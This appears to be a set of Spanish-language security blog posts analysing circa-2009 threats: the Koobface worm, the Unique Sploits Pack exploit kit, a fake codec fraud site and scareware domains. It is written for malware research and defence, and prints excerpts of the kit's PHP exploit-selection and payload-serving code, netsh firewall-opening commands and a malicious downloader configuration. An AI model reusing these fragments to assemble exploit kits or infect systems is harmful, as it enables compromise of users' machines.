Simbiosis del malware actual. Koobface

Koobface es un gusano diseñado a explotar los perfiles de usuarios de populares redes sociales como MySpace y FaceBook con la finalidad de obtener información sensible y confidencial de sus víctimas; aunque las versiones más recientes limitan su objetivo a FaceBook. De hecho, la palabra Koobface es una transposición de la palabra Facebook.

Sus primeras versiones datan de fines de 2008 y desde ese entonces continúa In-the-Wild con un índice de infección preocupante. Tal es así que la misma compañía dio a conocer una serie de medidas preventivas tendientes a minimizar el potencial riesgo de infección, que constantemente se encuentra latente para los usuarios que hacen uso de la red social.

En principio, el medio de diseminación habitual que utiliza Koobface es vía web a través de Ingeniería Social Visual y constituye la primera faceta de propagación.
La segunda faceta (infección) canaliza sus acciones maliciosas en una característica muy común en la actualidad, que se basa en la conjunción de malware, generando una simbiosis donde cada uno de los componentes del ambiente despliegan instrucciones particulares que buscan un objetivo común y general.

Pero veamos cuáles son esos componentes que forman parte de la etapa de infección de la variante Koobface.NBO. Este gusano. detectado actualmente por aproximadamente 31 compañías antivirus de 41 (75.61%), al infectar el sistema establece conexión con las siguientes URL's:

• http://oberaufseher.net/img/cmd.php
• http://pornfat.net/img/cmd.php

También descarga los siguientes códigos maliciosos:

• TrojanDownloader.Small.OCS Troyano
• Tinxy.AD Troyano
• Tinxy.AF Troyano
• BHO.NOE Troyano
• Koobface.NBH gusano
• PSW.LdPinch.NEL Troyano

Desde el punto de vista técnico, se pueden establecer algunos datos recolectados del breve análisis preliminar de cada uno de los códigos maliciosos descargados por Koobface:

El troyano TrojanDownloader.Small.OCS posee una tasa de detección de 35/40 (87.5%)crea claves en el registro y realiza una copia de sí mismo.

• HKLM\SOFTWARE\Microsoft\MSSMGR\
• HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\winccf32
• C:\WINDOWS\system32\winccf32.dll (copia de sí mismo).
  

Tinxy.AF, otro troyano, también crea archivos en el sistema y posee una tasa de detección levemente menor al anterior, 30/40 (75.00%).

• C:\windows\ld09.exe
• C:\docume~1\user\locals~1\temp\podmena.bat

El troyano Tinxy.AD posee un índice de detección de 35/40, aproximadamente es detectado por el 87.50% de los antivirus. Crea una copia de sí mismo y hace uso de la herramienta NetShell para habilitar una DLL, abrir puertos y especificar un proxy.

• C:\WINDOWS\system32\SYSDLL.exe (copia de sí mismo)
• netsh add allowedprogram "SYSDLL" C:\WINDOWS\System32\SYSDLL.exe ENABLE
• netsh firewall add portopening TCP 80 SYSDLL ENABLE
• netsh firewall add portopening TCP 7171 SYSDLL ENABLE
• netsh winhttp set proxy proxy-server="http=localhost:7171" Agrega la información del proxy en:HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /d "http=localhost:7171" /f
  

BHO.NOE, es otro de los troyanos que forman parte del proceso de infección de Koobface, con una tasa de detección del 92.11% (35/38), crea una carpeta y un archivo.

• C:\WINDOWS\system32\796525
• C:\WINDOWS\system32\796525\796525.dll
  

En cuanto al troyano PSW.LdPinch.NEL, detectado por 34 antivirus de 40 (85.00%), está diseñado para robar contraseñas de diferentes navegadores web, clientes de correo, clientes de mensajería instantánea y otros servicios.

Por último, descarga una variante de la familia, el gusano Koobface.NBH, en este caso, la tasa de detección es de 27/40 (aprox. 67.50%).

Como podemos apreciar, la infección de este código malicioso no se limita sólo a las instrucciones maliciosas que posee, sino que va más allá y descarga otros. Este accionar constituye un comportamiento común en la actualidad, donde la fusión de aplicativos web de control y administración de botnets y la de diferentes tipos de malware, unen fuerzas con un mismo objetivo: aumentar la economía de los delincuentes informáticos.

# pistus

Ver más

Mirando de cerca la estructura de Unique Sploits Pack

Unique Sploits Pack es un paquete crimeware del cual en este Blog dimos cuenta en varias oportunidades.

Este Kit, de origen ruso, se comercializa en el mercado a un costo de USD 750 la versión full que incorpora una aplicación de cifrado y el “beneficio” de acceder a las actualizaciones, siendo la versión actual de este crimeware la 1.5. Incluso, hasta hace poco, su comercialización se realizaba vía web a través de un sitio llamado unpack.ws (actualmente inactivo), donde era la versión 1.4 la comercializada en ese entonces.

A pesar del valor que actualmente posee Unique Sploits Pack, en algunos foros es posible encontrar un esquema de comercialización a través de ICQ, incluso, conseguir alguno de los combos con varios Kits de este estilo a un precio que, para los costos que manejan los desarrolladores de crimeware, puede representar una verdadera ganga.

Esta información nos da una idea global de cómo es el esquema de venta de estos, cada vez más comunes, aplicativos web que sientan las bases del comercio clandestino de crimeware.

Pero dejemos por un momento a un costado todo lo referido a la industria que se encuentra detrás y miremos un poco más de cerca cómo se encuentra estructurado Unique Sploits Pack.

Si bien este paquete no es muy diferente de otros, cada uno de los módulos que lo conforman corresponde a un archivo PHP, de los cuales, quizás se destaca el que permite diseminar malware empleando una estrategia de Ingeniería Social visual similar a las utilizadas por el scareware:

• Módulo config.php: posee la configuración que indica desde qué URL y qué malware se intentará diseminar. En este módulo también se configura el esquema de autenticación que tendrá la base de datos y el login al panel de control/administración.

// ENLACE AL MODULO load.php
$url='http://XX.XX.XX.XX/XX/load.php';
// ENLACE AL MODULO pdf.php
$pdf='http://XX.XX.XX.XX/XX/pdf.php';
// BINARIO
define('EXE', '1.exe');
define('Unique', 'go-go-go'); // don't edit
// ACCESO A MySQL
$db_host='';
$db_name='';
$db_user='';
$db_pass='';
// ACCESO AL PANEL DE CONTROL
$cp_url='admcp.php';
$cp_user='';
$cp_pass='913f8cfc77c2c974cc3a838cde8c7e6b';


• Módulo _install.php: posee los scripts necesarios para crear y configurar las tablas para la base de datos.

include ("cfg/config.php");
if (!($c = mysql_connect($db_host, $db_user, $db_pass))) {
die("Check host, user or password (./cfg/config.php)");
if (!mysql_select_db($db_name,$c)) {
die("Check DB name (./cfg/config.php)");
if (!mysql_query("DROP TABLE IF EXISTS
statistic
;",$c)) die("Check permission for user '".$db_user."'");
if (!mysql_query("CREATE TABLE
statistic
int(10) NOT NULL auto_increment,
varchar(15) default NULL,
varchar(30) default NULL,
varchar(30) default NULL,
country
varchar(2) default '--',
int(1) NOT NULL default '0',
refer
varchar(300) NOT NULL,
datetime default 'XXXX-XX-XX 00:00:00',
PRIMARY KEY (
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1;",$c)) die("Check permission for user '".$db_user."'");
die(" //SIGUE


• Módulo options.php: identifica el navegador, el sistema operativo y el país; este último, en base al módulo GeoIP. También codifica la función Unicode del JS y especifica la página de error 404.
  


• Módulo index.php: detecta la presencia de _install.php y lo ejecuta, además de verificar que no se realice la instalación a través de la misma dirección IP. Si detecta la misma dirección IP, aborta el proceso y ejecuta el módulo options.php mostrando error 404.

error_reporting(0);
if (file_exists("install.php")) {
include ("install.php");
include'cfg/options.php';
include'cfg/config.php';
$ip = $_SERVER['REMOTE_ADDR'];
mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name);
$q = mysql_query("select ip from statistic where ip='$ip'");
$n = mysql_num_rows($q);
@mysql_free_result($q);
if ($n != 0) exit($page404);
$country = detect_country($ip);
$br = browser();
$os = os();
@$purl = $_SERVER['HTTP_REFERER'];
$ref=parse_url($purl);
@$ref=$ref['host'];
$q = mysql_query("insert into statistic (date, ip, os, br, country, refer) values ('".date("Y-m-d H:i:s", time())."', '".$ip."', '".$os."', '".$br."', '".$country."','".$ref."')");
@mysql_free_result($q);
include ("sploits.php");


• Módulo sploits.php: el objetivo principal del módulo es configurar los exploits que se van a ejecutar; pero también chequea que exista el nombre "Unique". Si no lo encuentra muestra error 404 ejecutando el módulo options.php.
  

if (!defined('Unique')) {
die ($page404);
if (eregi("(opera)[ /]([0-9]{1,2}).([0-9]{1,3})",$br,$index)){
if (($index[2]=="9") && ($index[3]>="51") && ($index[3]<="61")) { // include_once(_NEW_SPLOIT_); // echo "DEL ME!!! NEW SPLOIT WORK"; // if (($index[2]=="9") && ($index[3]>"21")) {
include_once("./sploit/op9.php");
if (eregi("firefox",$br)){
include_once("./sploit/ff.php");
if (eregi("IE 7",$br)){
include_once("./sploit/ie7.php");
if (eregi("IE 6",$br)){
include_once("./sploit/ie.php");
if (eregi("IE 5",$br)){
include_once("./sploit/ie.php");
if (eregi("IE 4",$br)){
include_once("./sploit/ie.php");


• Módulo admcp.php: define el acceso a la aplicación web a través de un esquema de autenticación, solicitando nombre de usuario y contraseña, previamente definidos en el módulo config.php.
  


• Módulo geoip.php: identifica el país del sistema zombi a través de un ID.

"IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, "KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, "KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, "LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, "LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137,"MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, "MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, //SIGUE HASTA EL 250

• Módulo load.php: actualiza la columna "good" de la base de datos y ejecuta los scripts según lo definido en el archivo de configuración.

error_reporting(0);
include ("cfg/config.php");
$fsize = filesize(EXE);
$dd=fopen(EXE, "r");
$ss=fread($dd,$fsize);
fclose ($dd);
header("Accept-Ranges: bytes");
header("Content-Length: ".$fsize."");
header("Content-Disposition: inline; filename=".EXE);
header("Content-Type: application/octet-stream");
echo ($ss);
$ip = $_SERVER['REMOTE_ADDR'];
mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name);
$q = mysql_query("update statistic set good=1 where ip='".$ip."'");
@mysql_free_result($q);


• Modulo pdf.php: contienen un exploit para la vulnerabilidad mencionada en CVE-2008-2992 para Adober Reader que intenta explotar en el sistema a través de un archivo PDF. El código php de este módulo se encuentra sometido a un proceso de ofuscación

hAvBwcGxpY2EG0S8EsANhAEEFOmRpZSiAABYlPz4=")); ?>


• Módulo vparivatel.php: ejecuta una metodología de Ingeniería Social cuyos mensajes pueden ser completamente personalizada para ganar la confianza de la víctima.

• Módulo mod_vparivatel.php: contiene la configuración del módulo vparivatel.php.

En relación directa con los exploits que incorpora por defecto el aplicativo, ellos son:

• MDAC para IE 6
• PDF exploit para IE 7, Opera y Firefox
• PDF exploit para Adobe Acrobat 9
• PDF Doble. Descarga de manera simultánea dos exploits en PDF
• MS Office Snapshot para IE 6 y 7
• IE 7 XML SPL
• Firefox Embed
  
• IE 7 Uninitialized Memory Corruption Exploit. Nuevo exploit incorporado en la v1.5 de USP
• SPL Amaya 11
• Foxit Reader 3.0. PDF Buffer Overflow Exploit (Universal) para todos los navegadores
  

Como vemos, la estructura de Unique Sploits Pack (que repito, no es muy diferente a otros crimeware de este estilo) es bastante compleja y engloba todo un conjunto de scripts maliciosos destinados a transformar en zombis, de una forma u otra, cuantos sistemas puedan.

Información relacionada
Botnet. Securización en la nueva versión de ZeuS
Fusión. Un concepto adoptado por el crimeware actual
Unique Sploits Pack. Manipulando la seguridad del atacante II
Adrenalin botnet: zona de comando. El crimeware ruso marca la tendencia
Chamaleon botnet. Administración y monitoreo de descargas
YES Exploit System. Otro crimeware made in Rusia
Unique Sploits Pack. Crimeware para automatizar la explotación de vulnerabilidades
Creación Online de malware polimórfico basado en PoisonIvy

# pistus

Ver más

Supuesto Códec para crear videos HD utilizado como carnada para scam

Si cuando hablamos de malware nombramos a los códec, lo primero que recordamos es la inmensa cantidad de troyanos, scareware y demás código viral que a través de Ingeniería Social visual intenta comprometer los equipos de los internautas.

Sin embargo, la fama que suponen los códecs como herramientas de video hace que la temática maliciosa se extienda a otros planos. Como el presente caso, donde el objetivo es el fraude.

Se trata de un sitio web que promociona una herramienta supuestamente concebida para crear y reproducir video de alta definición a través de la tecnología H.264 (MPEG4 AVC). Expresamente, el mensaje que se dispone en la página es el siguiente:

“We're now introducing the next generation of VSCodecPRO technology with VSCodecPRO ? our new software that lets you create and play full HD H.264 (MKV) videos. H.264 is a new standard that is poised to power the high definition video revolution by offering incredible visual quality, performance and efficiency. VSCodecPRO gives you all the tools you need to take full advantage of H.264 for a truly cinematic video experience.”

Algo así como:

“Estamos presentando la próxima generación de VSCodecPRO con tecnología VSCodecPRO. Nuestro nuevo software le permite crear y reproducir videos HD H.264 (MKV). H.264 es un nuevo estándar que se dispone a alimentar la revolución de video de alta definición, ofreciendo calidad visual increíble, rendimiento y eficiencia. VSCodecPRO le da todas las herramientas que necesita para sacar el máximo provecho de H.264 para una verdadera experiencia de cine en vídeo.”

Hasta aquí todo muy lindo y una excelente alternativa para los amantes de los videos en buena calidad o para aquellos profesionales que se dedican a mejorar la calidad de sus trabajos visuales. Claro está, siempre y cuando la propuesta sea verdad. ;-P

La cuestión es que cuando nos proponemos a descargar el “mágico” programa haciendo clic sobre el botón correspondiente, no sucede nada; es decir, no logramos descargar el programa. Pero sí encontramos un enlace con la leyenda “buy it now” que incita a la compra del mismo.

Es en este momento donde comienza a gestarse un fraude, ya que la aplicación fraudulenta posee un costo; ofreciéndose dos alternativas de “compra”: una licencia por 180 días a USD 49.99, y otra full por USD 79.99.

Al seleccionar cualquiera de las dos opciones, aparece el formulario solicitando información sensible y financiera del internauta. Una vez concluida la solicitud y luego de enviar la información expuesta, la devolución es un error de procesamiento, donde los reclamos, o mejor dicho, a dónde reclamar, no existe.

Al profundizar un poquito más, sale a la luz que la dirección IP (91.212.65.29) del sitio, es compartida con otros dominios como:

antivirus-2009-ppro .com
antivirus-pppro .com
antivirus-scan-2009 .com
antivirus-xppro-2009 .com
antivirus-xppro2009 .com
onlinescanxppp .com
scan-virusremover2009 .com

Todos conocidos por la diseminación del scareware Antivirus XP Pro 2009.

Este tipo de estrategias delictivas son extremadamente comunes en Internet, siendo muy empleadas por cibercriminales que utilizan aplicativos scareware como excusa para llevar a cabo maniobras fraudulentas similares.

Los delincuentes informáticos no dejan de pensar en ideas que le permitan acrecentar la economía en sus bolsillos, ni de agregar “servicios” y alternativas a la industria del malware.

# pistus

Ver más

Una recorrida por los últimos scareware IX

Pequeña muestra de dominios utilizados para diseminar scareware de todo tipo. El conjunto de dominios expuestos en este, y en cada uno de los post relacionados, representa solo una mínima parte del inmenso caudal de amenazas de este estilo que día a día intentan encontrar cibernautas desprevenidos.

Adware Professional
MD5: cd825dbc50e170b1d9e8902af3cce923
IP: 72.20.110.8
United States Santa Clara Netblue
Dominios asociados
adwareprofessional .com

Result: 2/40 (5.00%)

Advanced Virus Removed
MD5: 6883312a7344872230e1f4d4dd1137eb
IP: 91.212.65.29
Ukraine Eurohost Llc
Dominios asociados
advanced-virusremover2009 .com

Result: 3/40 (7.50%)
Registry Cleaner Pro
MD5: 4fdcee2deb2051546ddb60e4c5fbb2be
IP: 72.167.232.44
United States Scottsdale Godaddy.com Inc
Dominios asociados
clean-windows-vista.com, registry-cleaner-2009.com, internet-explorer-cleaner.com, registrycleanerpro.org

Result: 7/40 (17.50%)

XP Deluxe Protector
MD5: 7e5bc3a017a524d7810113534cf2dcdb
IP: 91.212.65.140
Ukraine Eurohost Llc
Dominios asociados
deluxe-protector .com, deluxe-protector .com, securebillingpayment .com, winpc-antivirus09 .com, winpcantivirus-2009 .com, winpcantivirus2010 .com
Result: 27/40 (67.50%)

Malware catcher
IP: 64.213.140.69
United States Global Crossing
Dominios asociados
malwarecatcher .net, prestotuneup .com, scan-ultraantivirus2009 .com, update1.virusalarmpro .com, update2.prestotuneup.com, updvms .cn, promo.fastantivirus09 .com

GuardDog Computing Inc
IP: 85.114.141.207
Germany Berlin Fastit-de-dus1-colo
Dominios asociados
guarddog2009 .com

Result: 27/39 (69.24%)



Antivirus 360
MD5: 3dae34ea276abbc5e3364627458a4111
IP: 64.191.92.197
United States Scranton Network Operations Center Inc
Dominios asociados
removevirusonline .com, 1-againstspy .net
1-agentprotect .net, 1-antispystore .com

Result: 25/39 (64.10%)



web1.noadware.net (69.20.104.139) - Township Plexi Communications
web2.noadware.net (69.20.71.83) - Rackspace.com Ltd
winpcantivirus2010.com (91.212.65.140) - Eurohost Llc
addedantivirus.com, ascertaindiseasepro.cn, atioqe.cn (91.212.41.114)
anti-spyware-scan-v1.com (67.215.66.132) - Llc Gaztransitstroyinfo
inetavirus.com (209.44.111.57) - Laval Netelligent Hosting Services Inc
juicypussyclips.com (209.44.126.241) - Laval Netelligent Hosting Services Inc
kalambler.ru (89.108.83.12) - Agavacompany


Información relacionada
Una recorrida por los últimos scareware VIII
Una recorrida por los últimos scareware VII
Una recorrida por los últimos scareware VI
Una recorrida por los últimos scareware V
Una recorrida por los últimos scareware IV
Una recorrida por los últimos scareware III
Una recorrida por los últimos scareware II
Una recorrida por los últimos scareware

# pistus

Ver más

Scareware. Repositorio de malware In-the-Wild

El sentido de repositorio supone la disponibilidad de cualquier tipo de recurso que necesitemos obtener de manera oportuna, siendo precisamente, el concepto de esta última palabra, la visión de los creadores de códigos maliciosos al idear sus estrategias de diseminación.

En la siguiente captura vemos un repositorio de malware que se encuentran muy activos, alojados en un dominio que a simple vista no posee contenido alguno (es decir, si accedemos la página se ve en blanco).

Sin embargo, en alguna parte posee disponible la descarga de los archivos dañinos, que dicho sea de paso, los nombres de cada archivo simulan muy bien no ser peligrosos.

El malware se encuentra alojado en diferentes carpetas ocultas que podremos acceder si conocemos el nombre de cada una de ellas. De esta manera, los ciberdelincuentes diseminan los archivos a través de cualquier canal (e-mail, IM, páginas web) suministrando la ruta completa que descarga el código malicioso, como por ejemplo: updvms .cn/VSWEEPR/SetupReleaseXP .exe.

Cada una de las carpetas ocultas son referencias de diferentes scareware muy conocidos y muy activos actualmente. Las carpetas y los respectivos scareware que representan son: VSWEEPR (Virus Sweeper), VSHIELD (Virus Shield), VMLT (Virus Melt), VALARM (Virus Alarm Pro), UA2009 (Ultra Antivirus 2009), PRTUP (Presto TuneUp), MCATCH (Malware Catch), FASTAV (Fast Antivirus), EXAVR (Extra Antivir).

Cada una de estas carpetas contiene los mismos archivos:

/ActivatedRelease.exe 20/39 (51.29%)
/ActivatedReleaseXP.exe 24/39 (61.54%)
/ActivatedSetup.exe 22/39 (56.42%)
/ActivatedSetupRelease.cab 17/39 (43.59%)
/ActivatedSetupRelease.exe 18/39 (46.16%)
/ActivatedSetupReleaseXP.cab 21/39 (53.85%)
/ActivatedSetupReleaseXP.exe 21/39 (53.85%)
/Release.exe 19/39 (48.72%)
/ReleaseXP.exe 22/39 (56.42%)
/SetupPack.exe 25/38 (65.79%)
/Setup.exe 14/38 (36.84%)
/Rpdm.exe 21/39 (53.85%)
/Instructions.ini
/SetupRelease.cab 16/38 (42.11%)
/SetupRelease.exe 18/39 (46.16%)
/SetupReleaseXP.cab 19/39 (48.72%)
/SetupReleaseXP.exe 18/39 (46.16%)
/Work.exe 20/38 (52.64%)
/uninstall.exe 23/39 (58.98%)
/update.exe 22/38 (57.9%)
/update.exe 27/38 (71.06%)

El archivo "Instructions.ini" posee la siguiente información:

[Common]
==//==
URL0=http://vlrm.googlecode .com/svn/trunk/Instructions .ini
URL1=http://update1.virusalarmpro .com/Instructions .ini
URL2=http://update2.virusalarmpro .com/Instructions .ini
==//==
OutPutName=update.exe
RunParams=/u
RunHideParams=/h
==//==
URL0=http://vlrm.googlecode .com/svn/trunk/update .exe
URL1=http://update1.virusalarmpro .com/update .exe
URL2=http://update2.virusalarmpro .com/update .exe
==//==
OutPutName=uninstall.exe
==//==
URL0=http://vlrm.googlecode .com/svn/trunk/uninstall .exe
URL1=http://update1.virusalarmpro .com/uninstall .exe
URL2=http://update2.virusalarmpro .com/uninstall .exe
==//==
OutPutName=Work.exe
==//==
URL0=http://vlrm.googlecode.com/svn/trunk/Work.exe


Ahora bien, hay una serie de datos muy interesantes como que la mayoría del malware pertenece a una misma familia de scareware (Virus Melt, Virus Alarm, Virus Shield, etc.), buscando en la diseminación/infección, como es habitual en el scareware y a través de diferentes sitios web, realizar un fraude al incitar la compra del falso programa antivirus.

Los diferentes dominios que se encuentran en la misma dirección IP (64.213.140.69) son:
antivirus09 .net
malwarecatcher .net
prestotuneup .com
promo.fastantivirus09 .com
scan-ultraantivirus2009 .com
update1.virusalarmpro .com
update2.prestotuneup .com

En el caso del sitio del scareware Malware Catcher, hay un dato estadístico que me llamó la atención y cuyo objetivo es ofrecer un nivel tolerante de confianza hacia el usuario. Se trata de una comparativa en la que, humildemente, el falso antivirus ocupa el primer lugar :-)

Fomentar este tipo de información en las páginas del scareware forma parte de la estrategia de Ingeniería Social; lo que demuestra la organización y profesionalización que se encuentra detrás del malware.

Otro dato interesante es que al chequear la detección por parte de las compañías antivirus, muchas de ellas identifican alguna de las amenazas como variante de Waledac.

¿El scareware formará parte de una nueva estrategia de diseminación de Waledac?

Como podemos apreciar, el malware se nutre de diferentes alternativas de variada complejidad en cuanto a sus técnicas, incluso, transformando los sistemas infectados en una simbiosis de códigos maliciosos, que obliga a conocer los vectores de ataque más comunes para lograr un nivel de protección eficaz, sin descuidar la protección que ofrece una solución de seguridad antivirus.

Información relacionada
Una recorrida por los últimos scareware VIII
Scareware. Estrategia de engaño propuesta por Personal Antivirus

# pistus

Ver más